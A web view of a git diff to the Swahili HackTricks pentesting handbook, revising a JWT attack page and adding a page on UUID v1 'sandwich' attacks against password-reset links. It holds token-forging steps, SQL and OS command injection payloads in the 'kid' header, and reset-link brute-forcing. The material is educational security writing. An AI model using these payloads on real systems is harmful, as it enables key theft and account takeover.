### Badilisha algorithm RS256(asymmetric) kuwa HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
Algorithm HS256 hutumia ufunguo wa siri kusaini na kuthibitisha kila ujumbe.\
|
||||
Algorithm RS256 hutumia ufunguo wa faragha kusaini ujumbe na kutumia ufunguo wa umma kwa uthibitisho.
|
||||
Algorithm RS256 hutumia ufunguo wa kibinafsi kusaini ujumbe na kutumia ufunguo wa umma kwa uthibitisho.
|
||||
|
||||
Ukibadilisha algorithm kutoka RS256 kwenda HS256, msimbo wa nyuma hutumia ufunguo wa umma kama ufunguo wa siri na kisha hutumia algorithm ya HS256 kuthibitisha saini.
|
||||
|
||||
|
@ -88,19 +90,19 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
|
||||
Mshambuliaji anaingiza funguo mpya katika kichwa cha token na seva hutumia funguo hii mpya kuthibitisha saini (CVE-2018-0114).
|
||||
|
||||
Hii inaweza kufanywa kwa kutumia kifaa cha "JSON Web Tokens" katika Burp.\
|
||||
Hii inaweza kufanywa na kifaa cha "JSON Web Tokens" cha Burp.\
|
||||
(Tuma ombi kwa Repeater, ndani ya kichupo cha JSON Web Token chagua "CVE-2018-0114" na tuma ombi).
|
||||
|
||||
### JWKS Uigaji
|
||||
|
||||
Maagizo yanatoa maelezo ya njia ya kutathmini usalama wa JWT tokens, hasa zile zinazotumia dai la kichwa cha "jku". Dai hili linapaswa kuunganisha kwenye faili ya JWKS (JSON Web Key Set) ambayo ina funguo ya umma inayohitajika kwa uthibitisho wa token.
|
||||
Maagizo yanatoa maelezo ya njia ya kutathmini usalama wa JWT tokens, hasa wale wanaotumia dai la kichwa cha "jku". Dai hili linapaswa kuunganisha kwenye faili ya JWKS (JSON Web Key Set) ambayo ina funguo ya umma inayohitajika kwa uthibitisho wa token.
|
||||
|
||||
* **Kutathmini Tokens na Kichwa cha "jku"**:
|
||||
* Thibitisha URL ya dai la "jku" ili kuhakikisha inaelekeza kwenye faili sahihi ya JWKS.
|
||||
* Badilisha thamani ya "jku" ya token kuongoza kwenye huduma ya wavuti iliyodhibitiwa, kuruhusu uchunguzi wa trafiki.
|
||||
* Badilisha thamani ya "jku" ya token kuongoza kuelekea huduma ya wavuti iliyojaliwa, kuruhusu uchunguzi wa trafiki.
|
||||
* **Kufuatilia Mwingiliano wa HTTP**:
|
||||
* Kufuatilia maombi ya HTTP kwenye URL uliyopendekeza kunadokeza majaribio ya seva kupata funguo kutoka kwenye kiungo uliyotoa.
|
||||
* Wakati wa kutumia `jwt_tool` kwa mchakato huu, ni muhimu kusasisha faili ya `jwtconf.ini` na eneo lako binafsi la JWKS ili kurahisisha majaribio.
|
||||
* Kufuatilia maombi ya HTTP kwenye URL uliyopendekeza kunadokeza majaribio ya seva kunasa funguo kutoka kwenye kiungo uliyotoa.
|
||||
* Wakati unatumia `jwt_tool` kwa mchakato huu, ni muhimu kusasisha faili ya `jwtconf.ini` na eneo lako binafsi la JWKS ili kurahisisha majaribio.
|
||||
* **Amri kwa `jwt_tool`**:
|
||||
* Tekeleza amri ifuatayo kusimuliza hali na `jwt_tool`:
|
||||
|
||||
|
@ -110,15 +112,15 @@ python3 jwt_tool.py JWT_HAPA -X s
|
|||
|
||||
### Muhtasari wa Masuala ya Kid
|
||||
|
||||
Dai la kichwa linaloweza kutambulika linalojulikana kama `kid` hutumiwa kutambua funguo maalum, ambalo linakuwa muhimu hasa katika mazingira ambapo kuna funguo kadhaa kwa uthibitisho wa saini ya token. Dai hili husaidia katika kuchagua funguo sahihi kwa kuthibitisha saini ya token.
|
||||
Dai la kichwa linaloweza kuchaguliwa linalojulikana kama `kid` hutumiwa kutambua funguo maalum, ambayo inakuwa muhimu hasa katika mazingira ambapo kuna funguo kadhaa kwa uthibitisho wa saini ya token. Dai hili husaidia katika kuchagua funguo sahihi kuthibitisha saini ya token.
|
||||
|
||||
#### Kufunua Funguo kupitia "kid"
|
||||
#### Kufichua Funguo kupitia "kid"
|
||||
|
||||
Wakati dai la `kid` linapoonekana katika kichwa, inashauriwa kutafuta saraka ya wavuti kwa faili inayolingana au mabadiliko yake. Kwa mfano, ikiwa `"kid":"key/12345"` imeelezwa, faili _/key/12345_ na _/key/12345.pem_ inapaswa kutafutwa katika mzizi wa wavuti.
|
||||
|
||||
#### Kuvuka Njia na "kid"
|
||||
|
||||
Dai la `kid` linaweza pia kutumiwa kufaidika kuvuka mfumo wa faili, ikiruhusu uteuzi wa faili ya kupendelea. Ni rahisi kufanya majaribio ya uunganishaji au kutekeleza mashambulio ya Udukuzi wa Ombi la Upande wa Seva (SSRF) kwa kubadilisha thamani ya `kid` kulenga faili au huduma maalum. Kuharibu JWT kubadilisha thamani ya `kid` wakati unahifadhi saini ya awali inaweza kufikiwa kwa kutumia bendera ya `-T` katika jwt\_tool, kama inavyodhihirishwa hapa chini:
|
||||
Dai la `kid` linaweza pia kutumiwa kufaidika kwa kupitia mfumo wa faili, ikiruhusu uteuzi wa faili ya kupendelea. Ni rahisi kufanya majaribio ya uunganisho au kutekeleza mashambulizi ya Ombi la Upande wa Seva (SSRF) kwa kubadilisha thamani ya `kid` kulenga faili au huduma maalum. Kuharibu JWT kubadilisha thamani ya `kid` wakati unahifadhi saini ya asili inaweza kufikiwa kwa kutumia bendera ya `-T` katika jwt\_tool, kama inavyodhihirishwa hapa chini:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -126,15 +128,15 @@ Kwa kulenga faili zenye maudhui yanayoweza kutabirika, inawezekana kufanya JWT h
|
|||
|
||||
#### SQL Injection kupitia "kid"
|
||||
|
||||
Ikiwa maudhui ya dai la `kid` yanatumika kupata nenosiri kutoka kwenye database, SQL injection inaweza kurahisishwa kwa kubadilisha mzigo wa `kid`. Mzigo wa mfano unaotumia SQL injection kubadilisha mchakato wa kusaini JWT ni:
|
||||
Ikiwa maudhui ya dai la `kid` yanatumika kupata nenosiri kutoka kwenye database, SQL injection inaweza kurahisishwa kwa kubadilisha mzigo wa `kid`. Mzigo wa mfano unaotumia SQL injection kubadilisha mchakato wa kutia saini JWT ni:
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
Mabadiliko haya yanalazimisha matumizi ya ufunguo wa siri uliojulikana, `ATTACKER`, kwa ajili ya kusaini JWT.
|
||||
Mabadiliko haya yanalazimisha matumizi ya ufunguo wa siri uliojulikana, `ATTACKER`, kwa ajili ya kutia saini JWT.
|
||||
|
||||
#### OS Injection kupitia "kid"
|
||||
|
||||
Hali ambapo parameter ya `kid` inabainisha njia ya faili inayotumiwa ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha vulnerability ya Remote Code Execution (RCE). Kwa kuingiza amri ndani ya parameter ya `kid`, inawezekana kufichua funguo za siri. Mzigo wa mfano wa kufikia RCE na kufichua funguo ni:
|
||||
Hali ambapo parameter ya `kid` inabainisha njia ya faili inayotumiwa ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha vulnerability ya Remote Code Execution (RCE). Kwa kuingiza amri ndani ya parameter ya `kid`, inawezekana kufichua ufunguo binafsi. Mzigo wa mfano wa kufikia RCE na kufichua ufunguo ni:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
|
@ -143,15 +145,15 @@ Hali ambapo parameter ya `kid` inabainisha njia ya faili inayotumiwa ndani ya mu
|
|||
#### jku
|
||||
|
||||
jku inasimama kwa **JWK Set URL**.\
|
||||
Ikiwa token hutumia dai la “**jku**” katika **Header** basi **angalia URL iliyotolewa**. Hii inapaswa kuashiria kwenye URL inayohifadhi faili ya JWKS inayoshikilia Funguo ya Umma kwa ajili ya kuthibitisha token. Badilisha token ili kuashiria thamani ya jku kwenye huduma ya wavuti unayoweza kufuatilia trafiki yake.
|
||||
Ikiwa token inatumia dai la “**jku**” katika **Header** basi **angalia URL iliyotolewa**. Hii inapaswa kuashiria kwenye URL inayohifadhi faili ya JWKS inayoshikilia Ufunguo wa Umma kwa ajili ya kuthibitisha token. Badilisha token ili kuelekeza thamani ya jku kwenye huduma ya wavuti unayoweza kufuatilia trafiki yake.
|
||||
|
||||
Kwanza unahitaji kuunda cheti kipya na funguo mpya za faragha na za umma.
|
||||
Kwanza unahitaji kuunda cheti kipya na ufunguo mpya wa faragha na wa umma.
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na za kibinafsi zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa.** Ili kuunda cheti sahihi cha jku unaweza kupakua kimoja cha asili na kubadilisha parameta zinazohitajika.
|
||||
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na binafsi zilizoundwa na kuelekeza parameter jku kwa cheti kilichoundwa.** Ili kuunda cheti cha jku halali unaweza kupakua kimoja cha asili na kubadilisha parameta zinazohitajika.
|
||||
|
||||
Unaweza kupata parameta "e" na "n" kutoka kwa cheti cha umma kwa kutumia:
|
||||
```bash
|
||||
|
@ -164,20 +166,20 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. URI inayoashiria seti ya vyeti vya umma vya X.509 (muundo wa vyeti wa kiwango) vilivyohifadhiwa katika fomu ya PEM. Cheti cha kwanza katika seti lazima kiwe cha kutumika kusaini JWT hii. Vyeti vya kufuatia kila kimoja husaini cheti kilichotangulia, hivyo kukamilisha mnyororo wa vyeti. X.509 imedefiniwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamisha vyeti.
|
||||
X.509 URL. URI inayoashiria seti ya vyeti vya umma vya X.509 (muundo wa vyeti wa kawaida) vilivyohifadhiwa kwa fomati ya PEM. Cheti cha kwanza katika seti lazima kiwe kile kilichotumika kusaini JWT hii. Vyeti vya kufuatia kila kimoja husaini cheti kilichotangulia, hivyo kukamilisha mnyororo wa vyeti. X.509 imedefiniwa katika RFC 52807. Usalama wa usafirishaji unahitajika kuhamisha vyeti.
|
||||
|
||||
Jaribu **kubadilisha kichwa hiki ku URL chini ya udhibiti wako** na angalia ikiwa ombi lolote linapokelewa. Katika kesi hiyo, **unaweza kuharibu JWT**.
|
||||
Jaribu **kubadilisha kichwa hiki kuwa URL chini ya udhibiti wako** na angalia ikiwa ombi lolote limepokelewa. Katika kesi hiyo, **unaweza kuharibu JWT**.
|
||||
|
||||
Ili kufanya alama mpya kwa kutumia cheti linalodhibitiwa na wewe, unahitaji kuunda cheti na kuchimba funguo za umma na za kibinafsi:
|
||||
Ili kufanya alama mpya kwa kutumia cheti lililodhibitiwa na wewe, unahitaji kuunda cheti na kuchimba funguo za umma na za kibinafsi:
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na za kibinafsi zilizoundwa na kuelekeza parameter x5u kwa cheti .crt kilichoundwa.**
|
||||
Kisha unaweza kutumia kwa mfano [**jwt.io**](https://jwt.io) kuunda JWT mpya na **funguo za umma na binafsi zilizoundwa na kuelekeza parameter x5u kwa cheti .crt kilichoundwa.**
|
||||
|
||||
![](<../.gitbook/assets/image (956).png>)
|
||||
|
||||
Unaweza pia kutumia udhaifu huu **kwa SSRFs**.
|
||||
Unaweza pia kutumia udhaifu huu **kwa SSRFs** zote mbili.
|
||||
|
||||
#### x5c
|
||||
|
||||
|
@ -185,18 +187,18 @@ Parameter huu unaweza kuwa na **cheti katika base64**:
|
|||
|
||||
![](<../.gitbook/assets/image (1119).png>)
|
||||
|
||||
Ikiwa mshambuliaji **anaunda cheti cha kujisaini mwenyewe** na kuunda token bandia kwa kutumia funguo ya kibinafsi inayofanana na kubadilisha thamani ya parameter "x5c" na cheti lililoundwa kwa mara ya kwanza na kurekebisha parameta nyingine, yaani n, e na x5t basi kimsingi token bandia itakubaliwa na server.
|
||||
Ikiwa mshambuliaji **anaunda cheti cha kujisaini mwenyewe** na kuunda token bandia kwa kutumia funguo ya kibinafsi inayofanana na kubadilisha thamani ya parameter "x5c" na cheti lililoundwa hivi karibuni na kurekebisha parameta nyingine, yaani n, e na x5t basi kimsingi token bandia itakubaliwa na seva.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
```
|
||||
### Funguo ya Umma iliyowekwa (CVE-2018-0114)
|
||||
### Funguo ya Umma Iliyowekwa (CVE-2018-0114)
|
||||
|
||||
Ikiwa JWT ina funguo ya umma iliyojumuishwa kama katika hali ifuatayo:
|
||||
|
||||
![](<../.gitbook/assets/image (624).png>)
|
||||
|
||||
Kwa kutumia skripti ifuatayo ya nodejs ni rahisi kuzalisha funguo ya umma kutoka kwa data hiyo:
|
||||
Kutumia skripti ifuatayo ya nodejs ni rahisi kuzalisha funguo ya umma kutoka kwa data hiyo:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -206,7 +208,7 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
Niwezekana kuzalisha ufunguo mpya wa faragha / wa umma, kuijumuisha ufunguo wa umma mpya ndani ya token na kutumia kui kuzalisha saini mpya:
|
||||
Niwezekana kuzalisha ufunguo mpya wa faragha / wa umma, kuweka ufunguo wa umma mpya ndani ya ishara na kutumia kuunda saini mpya:
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -224,14 +226,14 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
```
|
||||
### ES256: Kufunua ufunguo wa kibinafsi na nonce sawa
|
||||
|
||||
Ikiwa baadhi ya programu hutumia ES256 na hutumia nonce sawa kuzalisha jwts mbili, ufunguo wa kibinafsi unaweza kurejeshwa.
|
||||
Ikiwa baadhi ya programu zinatumia ES256 na kutumia nonce sawa kuzalisha jwts mbili, ufunguo wa kibinafsi unaweza kurejeshwa.
|
||||
|
||||
Hapa kuna mfano: [ECDSA: Kufunua ufunguo wa kibinafsi, ikiwa nonce sawa hutumiwa (na SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
Hapa kuna mfano: [ECDSA: Kufunua ufunguo wa kibinafsi, ikiwa nonce sawa imetumika (na SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
Madai ya JTI (JWT ID) hutoa kitambulisho cha kipekee kwa Token ya JWT. Inaweza kutumika kuzuia token kutumika tena.\
|
||||
Hata hivyo, fikiria hali ambapo urefu wa maksimumu wa kitambulisho ni 4 (0001-9999). Ombi 0001 na 10001 vitatumia kitambulisho kimoja. Kwa hivyo ikiwa seva ya nyuma inaongeza kitambulisho kwa kila ombi unaweza kutumia hili kwa **kutuma ombi tena** (ukihitaji kutuma ombi 10000 kati ya kila ombi la kutuma tena linalofanikiwa).
|
||||
Madai ya JTI (JWT ID) hutoa kitambulisho cha kipekee kwa Token ya JWT. Inaweza kutumika kuzuia token kutorejeshwa.\
|
||||
Hata hivyo, fikiria hali ambapo urefu wa maksimum wa kitambulisho ni 4 (0001-9999). Ombi 0001 na 10001 vitatumia kitambulisho kimoja. Kwa hivyo ikiwa seva ya nyuma inaongeza kitambulisho kwa kila ombi unaweza kutumia hili kwa **kurejelea ombi** (ukihitaji kutuma maombi 10000 kati ya kila kurejelea mafanikio).
|
||||
|
||||
### Madai yaliyosajiliwa ya JWT
|
||||
|
||||
|
@ -241,23 +243,23 @@ Hata hivyo, fikiria hali ambapo urefu wa maksimumu wa kitambulisho ni 4 (0001-99
|
|||
|
||||
**Mashambulizi ya Kurejesha Kati ya Huduma**
|
||||
|
||||
Imeonekana kwamba baadhi ya programu za wavuti hutegemea huduma ya JWT iliyoaminika kwa kuzalisha na kusimamia vibali vyao. Kuna visa ambapo kibali, kilichozalishwa kwa mteja mmoja na huduma ya JWT, kilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unazingatiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kurejesha kibali kilichopatikana katika ombi kwa lengo la kuona ikiwa kitakubaliwa.
|
||||
Imeonekana kwamba baadhi ya programu za wavuti hutegemea huduma ya JWT iliyoaminika kwa kuzalisha na kusimamia vibali vyao. Kuna visa ambapo kibali, kilichozalishwa kwa mteja mmoja na huduma ya JWT, kilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unazingatiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kurejelea kibali kilichopatikana katika ombi kwa lengo la kuona ikiwa kitakubaliwa.
|
||||
|
||||
* Shida kuu inaweza kuashiriwa na kukubaliwa kwa kibali chako, ikiruhusu uigaji wa akaunti yoyote ya mtumiaji. Hata hivyo, inapaswa kuzingatiwa kwamba inaweza kuhitajika idhini kwa ajili ya majaribio zaidi ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia eneo la kisheria lisilo wazi.
|
||||
* Shida kuu inaweza kuashiriwa na kukubaliwa kwa kibali chako, ikiruhusu uigaji wa akaunti yoyote ya mtumiaji. Hata hivyo, inapaswa kuzingatiwa kwamba idhini ya majaribio zaidi inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia eneo la kijivu kisheria.
|
||||
|
||||
**Uchunguzi wa Muda wa Vibali**
|
||||
|
||||
Muda wa kumalizika wa kibali unachunguzwa kwa kutumia madai ya "exp" Payload. Kwa kuwa JWT mara nyingi hutumiwa bila habari ya kikao, kushughulikia kwa uangalifu kunahitajika. Katika hali nyingi, kukamata na kutuma tena JWT ya mtumiaji mwingine inaweza kuwezesha uigaji wa mtumiaji huyo. RFC ya JWT inapendekeza kupunguza mashambulizi ya kurejesha JWT kwa kutumia madai ya "exp" kuweka muda wa kumalizika kwa kibali. Zaidi ya hayo, utekelezaji wa uchunguzi unaofaa na maombi kuhakikisha usindikaji wa thamani hii na kukataa vibali vilivyomalizika ni muhimu. Ikiwa kibali kina madai ya "exp" na muda wa majaribio unaruhusu, kuhifadhi kibali na kukituma tena baada ya muda wa kumalizika kumepita kunashauriwa. Yaliyomo ya kibali, ikiwa ni pamoja na uchambuzi wa alama za wakati na uchunguzi wa kumalizika (alama za wakati katika UTC), yanaweza kusomwa kwa kutumia bendera ya -R ya zana ya jwt\_tool.
|
||||
Uchunguzi wa muda wa kibali unafanywa kwa kutumia madai ya "exp" Payload. Kwa kuwa JWT mara nyingi hutumiwa bila habari ya kikao, kushughulikia kwa uangalifu kunahitajika. Katika hali nyingi, kukamata na kurejelea JWT ya mtumiaji mwingine inaweza kuwezesha udanganyifu wa mtumiaji huyo. RFC ya JWT inapendekeza kupunguza mashambulizi ya kurejelea ya JWT kwa kutumia madai ya "exp" kuweka muda wa kumalizika kwa kibali. Zaidi ya hayo, utekelezaji wa uchunguzi unaofaa na maombi kuhakikisha usindikaji wa thamani hii na kukataa vibali vilivyomalizika ni muhimu. Ikiwa kibali kina madai ya "exp" na muda wa majaribio unaruhusu, kuhifadhi kibali na kurejelea baada ya muda wa kumalizika kunashauriwa. Yaliyomo ya kibali, ikiwa ni pamoja na uchambuzi wa alama za wakati na uchunguzi wa kumalizika (alama za wakati katika UTC), yanaweza kusomwa kwa kutumia bendera ya -R ya jwt\_tool.
|
||||
|
||||
* Hatari ya usalama inaweza kuwepo ikiwa programu bado inathibitisha kibali, kwani inaweza kupendekeza kwamba kibali hakitaweza kumalizika.
|
||||
* Hatari ya usalama inaweza kuwepo ikiwa programu bado inathibitisha kibali, kwani inaweza kuashiria kwamba kibali hakitaweza kumalizika.
|
||||
|
||||
### Zana
|
||||
### Vyombo
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunahitaji wewe!** (_ujuzi wa Kipolishi ulioandikwa na kuzungumzwa unahitajika_).
|
||||
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunahitaji wewe!** (_ujuzi wa Kipolishi wa kuandika na kuzungumza unahitajika_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
90
pentesting-web/uuid-insecurities.md
Normal file
90
pentesting-web/uuid-insecurities.md
Normal file
|
@ -0,0 +1,90 @@
|
|||
# Udhaifu wa UUID
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Taarifa Msingi
|
||||
|
||||
Identifiers za Kipekee za Kitaalamu (UUIDs) ni **namba za biti 128 zinazotumika kutambua habari kwa njia ya kipekee** katika mifumo ya kompyuta. UUIDs ni muhimu katika programu ambapo vitambulisho vya kipekee vinahitajika bila usimamizi wa kati. Mara nyingi hutumika kama funguo za database na zinaweza kumaanisha vipengele mbalimbali kama vile nyaraka na vikao.
|
||||
|
||||
UUIDs zimeundwa kuwa za kipekee na **zenye ugumu wa kufikiri**. Zina muundo maalum, zilizogawanywa katika vikundi vitano vinavyowakilishwa kama herufi za hexadecimal 32. Kuna toleo tofauti za UUIDs, kila moja ikitoa madhumuni tofauti:
|
||||
|
||||
* **UUID v1** inategemea wakati, mfululizo wa saa, na kitambulisho cha nodi (anwani ya MAC), lakini inaweza kufichua habari za mfumo.
|
||||
* **UUID v2** ni sawa na v1 lakini inajumuisha marekebisho kwa uwanja wa mitaa (haikutumiwa sana).
|
||||
* **UUID v3 na v5** huzalisha UUIDs kwa kutumia thamani za hash kutoka kwa nafasi na jina, na v3 ikitumia MD5 na v5 ikitumia SHA-1.
|
||||
* **UUID v4** huzalishwa kwa kiasi kikubwa kwa nasibu, ikitoa kiwango kikubwa cha kutokuwa na jina lakini na hatari ndogo ya nakala.
|
||||
|
||||
{% hint style="success" %}
|
||||
Tambua kuwa toleo na toleo la pili la UUID kawaida huonekana katika nafasi ile ile ndani ya UUID. Kwa mfano katika:\
|
||||
12345678 - abcd - 1a56 - a539 - 103755193864\
|
||||
xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx
|
||||
|
||||
* **Nafasi ya M** Inaonyesha UUID **toleo**. Katika mfano hapo juu, ni UUID v**1**.
|
||||
* **Nafasi ya N** Inaonyesha aina ya UUID.
|
||||
{% endhint %}
|
||||
|
||||
## Shambulio la Sandwich
|
||||
|
||||
"Shambulio la Sandwich" ni aina maalum ya shambulio linalotumia **uwezekano wa kutabirika wa kizazi cha UUID v1 katika programu za wavuti**, hasa katika vipengele kama vile upyaishaji wa nywila. UUID v1 huzalishwa kulingana na wakati, mfululizo wa saa, na anwani ya MAC ya nodi, ambayo inaweza kufanya iwe kidogo ya kutabirika ikiwa mshambuliaji anaweza kupata baadhi ya UUID hizi zilizozalishwa karibu kwa wakati.
|
||||
|
||||
### Mfano
|
||||
|
||||
Fikiria programu ya wavuti inayotumia UUID v1 kwa kuzalisha viungo vya upyaishaji wa nywila. Hivi ndivyo mshambuliaji anaweza kutumia hili kupata ufikiaji usioruhusiwa:
|
||||
|
||||
1. **Usanidi wa Awali**:
|
||||
|
||||
* Mshambuliaji ana udhibiti wa akaunti mbili za barua pepe: \`mshambuliaji1@acme.com\` na \`mshambuliaji2@acme.com\`.
|
||||
* Akaunti ya barua pepe ya lengo ni \`mhanga@acme.com\`.
|
||||
|
||||
2. **utekelezaji**:
|
||||
|
||||
* Mshambuliaji anaanzisha upyaishaji wa nywila kwa akaunti yake ya kwanza (\`mshambuliaji1@acme.com\`) na kupokea kiungo cha upyaishaji wa nywila na UUID, sema \`99874128-7592-11e9-8201-bb2f15014a14\`.
|
||||
* Mara moja baada ya hapo, mshambuliaji anaanzisha upyaishaji wa nywila kwa akaunti ya mhanga (\`mhanga@acme.com\`) na kisha haraka kwa akaunti ya pili inayodhibitiwa na mshambuliaji (\`mshambuliaji2@acme.com\`).
|
||||
* Mshambuliaji anapokea kiungo cha upyaishaji kwa akaunti ya pili na UUID, sema \`998796b4-7592-11e9-8201-bb2f15014a14\`.
|
||||
|
||||
3. **Uchambuzi**:
|
||||
|
||||
* Mshambuliaji sasa ana UUID mbili zilizozalishwa karibu kwa wakati (\`99874128\` na \`998796b4\`). Kwa kuzingatia asili ya mfululizo wa UUID kulingana na wakati, UUID kwa akaunti ya mhanga itakuwa kati ya thamani hizi mbili.
|
||||
|
||||
4. **Shambulio la Kufanya Kazi:**
|
||||
|
||||
* Mshambuliaji anatumia zana kuzalisha UUID kati ya thamani hizi mbili na kujaribu kila UUID iliyozalishwa kwa kujaribu kupata ufikiaji wa kiungo cha upyaishaji wa nywila (k.m., \`https://www.acme.com/reset/\<generated-UUID>\`).
|
||||
* Ikiwa programu ya wavuti haitoi kikomo cha kiwango au kuzuia majaribio kama hayo, mshambuliaji anaweza haraka kujaribu UUID zote zinazowezekana katika safu.
|
||||
|
||||
5. **Ufikiaji Umeopatikana:**
|
||||
|
||||
* Mara UUID sahihi kwa kiungo cha upyaishaji wa nywila cha mhanga inagunduliwa, mshambuliaji anaweza kurejesha nywila ya mhanga na kupata ufikiaji usioruhusiwa kwenye akaunti yake.
|
||||
|
||||
### Zana
|
||||
|
||||
* Unaweza kutekeleza shambulio la sandwich kiotomatiki kwa kutumia zana: [**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
|
||||
* Unaweza kugundua aina hizi za UUIDs katika Burp Suite na nyongeza [**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248).
|
||||
|
||||
## Marejeo
|
||||
|
||||
* [https://versprite.com/blog/universally-unique-identifiers/](https://versprite.com/blog/universally-unique-identifiers/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue